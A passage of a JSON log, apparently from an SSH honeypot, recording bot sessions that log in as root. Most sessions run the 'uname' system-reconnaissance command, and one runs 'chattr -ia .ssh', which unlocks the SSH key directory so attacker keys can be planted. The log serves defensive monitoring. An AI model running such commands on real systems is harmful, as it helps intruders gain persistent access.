  "started_at": "2026-08-26T05:52:06.496484+00:00",
  "ended_at": "2026-08-26T05:52:09.354778+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "65cd5e80-7566-439d-8ba6-b2956c8b9e16",
  "name": "dappled-lonesome-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 53638,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 192,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:51:56.351643+00:00",
  "ended_at": "2026-08-26T05:52:02.106938+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a54b7794-3485-464d-9a46-e7b22f3536e2",
  "name": "curious-merry-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 58420,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 240,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:51:25.431091+00:00",
  "ended_at": "2026-08-26T05:51:28.334534+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "148e76e1-5ef9-4207-83f3-3507d0065e7b",
  "name": "tangled-grumpy-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 50112,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 254,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:51:21.654169+00:00",
  "ended_at": "2026-08-26T05:51:27.048293+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e45ff75c-25a9-439e-af4a-ca3f240870e8",
  "name": "sincere-russet-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 38554,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 235,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:51:06.292890+00:00",
  "ended_at": "2026-08-26T05:51:11.737485+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e635640a-f4eb-4fba-a713-6b975c5d9b6e",
  "name": "painted-mottled-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 40130,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:50:46.080653+00:00",
  "ended_at": "2026-08-26T05:50:49.175579+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e6b0b05e-3776-44c5-9df8-f34bfbd22c90",
  "name": "frosty-boreal-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 39516,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 197,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:50:15.025516+00:00",
  "ended_at": "2026-08-26T05:50:18.687878+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bf370873-4138-4144-9d0d-b45523682ab0",
  "name": "solar-vaulted-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 50668,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 192,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:50:03.170129+00:00",
  "ended_at": "2026-08-26T05:50:05.886077+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d2c3824c-8e95-4d5e-ba30-a0991e77804c",
  "name": "buoyant-crystal-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 33204,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:49:14.942183+00:00",
  "ended_at": "2026-08-26T05:49:20.503713+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2c96d18a-7c71-4f52-bb83-89a5dbbcac91",
  "name": "frugal-blithe-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 36958,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 184,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:48:34.959325+00:00",
  "ended_at": "2026-08-26T05:48:39.880616+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2588ae26-b9e8-4ccb-8395-d354c91c1b3f",
  "name": "fickle-pewter-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 46184,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 257,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:48:29.399499+00:00",
  "ended_at": "2026-08-26T05:48:32.400746+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "709b886a-7d2a-4405-849d-975a7cd24389",
  "name": "blithe-diligent-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 37830,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 202,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:48:28.235073+00:00",
  "ended_at": "2026-08-26T05:48:32.671840+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4846c89a-3bf0-434a-ab0f-6228840800f2",
  "name": "languid-mottled-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 39094,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 204,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:47:56.314068+00:00",
  "ended_at": "2026-08-26T05:48:01.737604+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1b4e3b22-1109-4a33-aa18-533de8e0f0aa",
  "name": "painted-weathered-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 42210,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 196,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:47:31.730313+00:00",
  "ended_at": "2026-08-26T05:47:34.379366+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "74526c11-02f0-421e-bc64-60a9b9ce3ee7",
  "name": "gilded-glacial-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.143.238.100",
  "src_port": 53956,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 257,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T05:47:19.457008+00:00",
  "ended_at": "2026-08-26T05:47:19.533615+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3807
 },
 {
  "id": "031b7239-19bb-40c4-93e9-943e4359d91d",
  "name": "fickle-solemn-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 35266,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 192,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:47:06.943304+00:00",
  "ended_at": "2026-08-26T05:47:10.082638+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8d3ebad5-45c5-483b-a248-c97e450adef6",
  "name": "stoic-craggy-gadwall",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.143.238.100",
  "src_port": 55966,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T05:47:06.326927+00:00",
  "ended_at": "2026-08-26T05:47:06.666951+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "69b66255-9dd1-4346-b8bb-017fddfa2819",
  "name": "curious-supple-marten",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.143.238.100",
  "src_port": 54488,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T05:46:58.028486+00:00",
  "ended_at": "2026-08-26T05:46:59.235725+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "be97c49e-916c-4b1f-a927-9a9ac2b6362e",
  "name": "opal-tawny-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 43890,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 210,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:46:36.855684+00:00",
  "ended_at": "2026-08-26T05:46:40.837968+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8527892a-bace-47d3-b566-fe642e4e111a",
  "name": "shaded-polar-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 36132,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 204,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:46:18.863880+00:00",
  "ended_at": "2026-08-26T05:46:22.906688+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8a1cfbe3-7736-404a-8c86-0048a8d9a80c",
  "name": "dappled-courtly-saola",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 53584,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 194,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:45:26.114115+00:00",
  "ended_at": "2026-08-26T05:45:31.411871+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4787045d-65f1-4aa7-a2c5-8175f1721765",
  "name": "tangled-jolly-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 45108,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 202,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:45:18.627383+00:00",
  "ended_at": "2026-08-26T05:45:23.712801+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "06cb1967-32ed-44c7-8726-80effb942e4b",
  "name": "reedy-gilded-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 59702,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 224,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:45:07.739472+00:00",
  "ended_at": "2026-08-26T05:45:10.555789+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4b3b9c7f-dd6d-425a-9909-0ca879dbaa3d",
  "name": "curious-thrifty-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 43402,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 221,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:44:58.836926+00:00",
  "ended_at": "2026-08-26T05:45:03.580772+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a94e68b8-27c5-4190-a3ad-6849c26669c2",
  "name": "hazel-rustic-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 53814,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 206,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:44:47.858498+00:00",
  "ended_at": "2026-08-26T05:44:51.806795+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "46725d27-f028-463e-a316-c56cca53e982",
  "name": "tangled-hardy-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 40554,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 184,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:43:21.448720+00:00",
  "ended_at": "2026-08-26T05:43:26.498099+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ecf901d3-57f0-4230-9d5a-66feaa83295d",
  "name": "spirited-mossy-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 39126,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 196,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:43:08.538471+00:00",
  "ended_at": "2026-08-26T05:43:14.458007+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e56a5c8c-900f-44e7-9a94-e708555cdfc6",
  "name": "boreal-thrifty-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 46006,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 247,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:42:50.231101+00:00",
  "ended_at": "2026-08-26T05:42:55.096134+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f97a865d-84f1-48c9-8835-ebc6625bb7ac",
  "name": "rapid-placid-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 45614,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 201,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:42:29.772811+00:00",
  "ended_at": "2026-08-26T05:42:35.365549+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0a693fbc-ac19-4ee3-98ff-a3da03de5935",
  "name": "slender-snowy-skylark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 48004,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 280,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:41:43.708336+00:00",
  "ended_at": "2026-08-26T05:41:46.551446+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c3da12d0-d9c0-467a-af2a-5595dddadd92",
  "name": "watchful-graceful-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 57982,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 189,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:40:56.715268+00:00",
  "ended_at": "2026-08-26T05:41:00.432233+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d0597f92-13c0-479d-ab86-9414bb85c883",
  "name": "emerald-reedy-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 60380,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 217,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:40:47.538384+00:00",
  "ended_at": "2026-08-26T05:40:50.375899+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "44f766b0-2fb8-442b-890b-b238b5fdf44f",
  "name": "fierce-pristine-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 37028,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 204,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:40:39.939940+00:00",
  "ended_at": "2026-08-26T05:40:42.870518+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5ff22774-bdc2-4d71-8366-05dc23348806",
  "name": "solar-vaulted-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 36058,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 215,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:40:00.740059+00:00",
  "ended_at": "2026-08-26T05:40:06.795742+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "40aacefe-059c-4142-81b2-1360b9bf5fd5",
  "name": "blazing-keen-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 59850,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 182,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:39:44.924888+00:00",
  "ended_at": "2026-08-26T05:39:49.044494+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cd4dea40-ce09-4cf5-87cb-c1b5f4cc5375",
  "name": "drifting-grumpy-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 38868,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 198,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:39:24.899032+00:00",
  "ended_at": "2026-08-26T05:39:29.265002+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "673f9704-242d-4a2c-8c59-5a96d42da402",
  "name": "scarlet-clever-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 39512,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 210,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:39:05.021574+00:00",
  "ended_at": "2026-08-26T05:39:10.311318+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fd1ce6b1-6840-497d-a6c6-4439d1fe6ebd",
  "name": "rugged-crystal-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 39448,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 230,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:38:52.705348+00:00",
  "ended_at": "2026-08-26T05:38:57.598230+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "365217b5-192d-4855-a157-576ea5c1e39f",
  "name": "tranquil-breezy-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 51476,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 200,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:37:53.990078+00:00",
  "ended_at": "2026-08-26T05:37:58.892438+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e9f5a7dd-381a-4f56-81ef-6bedef288c01",
  "name": "marbled-hazel-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 52814,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 201,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:37:47.626905+00:00",
  "ended_at": "2026-08-26T05:37:53.558104+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c1b16e9c-28a6-4f26-ba7c-73d03bb07b5d",
  "name": "seaward-scarlet-polecat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 40512,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 214,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:37:10.160818+00:00",
  "ended_at": "2026-08-26T05:37:14.726795+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b3e12c80-3198-412e-a3d3-55c2289563f0",
  "name": "restless-crisp-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 40472,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 194,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:37:06.463900+00:00",
  "ended_at": "2026-08-26T05:37:11.963013+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7c0f2e0f-72bd-4cf1-9809-310ca893b19b",
  "name": "spirited-plucky-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 42690,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 217,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:36:33.417936+00:00",
  "ended_at": "2026-08-26T05:36:37.313563+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c7b1c170-d4fb-4c7f-9bc0-ddafeb65b55b",
  "name": "fierce-salty-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 42618,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 214,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:36:23.380209+00:00",
  "ended_at": "2026-08-26T05:36:28.634404+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b41a125c-0319-49b4-aaee-03da6b8e0086",
  "name": "upland-idle-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 58168,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 219,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:35:58.987506+00:00",
  "ended_at": "2026-08-26T05:36:03.046475+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0e1edd36-1385-452f-a2c6-e614545e95a8",
  "name": "calm-upland-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 58100,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 181,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:35:49.467875+00:00",
  "ended_at": "2026-08-26T05:35:55.410016+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ef2db104-6797-40f1-b5d0-cde1dfe1cbda",
  "name": "mindful-marine-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 48850,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 278,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:35:31.852411+00:00",
  "ended_at": "2026-08-26T05:35:36.176529+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "47711797-3589-48a1-a447-0732561e8207",
  "name": "dusky-polar-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 55228,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 184,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:34:59.873073+00:00",
  "ended_at": "2026-08-26T05:35:01.600813+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "30f7799d-8b01-4121-8267-3b1612f01727",
  "name": "gleaming-weathered-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 44258,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 254,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:34:41.496802+00:00",
  "ended_at": "2026-08-26T05:34:42.800514+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0676c6bb-73ad-405f-9a8e-b964cdb398ff",
  "name": "painted-umber-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.200",
  "src_port": 38800,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T05:34:32.309153+00:00",
  "ended_at": "2026-08-26T05:34:34.075628+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ba724df8-2bc2-4107-bce1-53b3f8f73d94",
  "name": "muted-crimson-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 48190,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 279,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
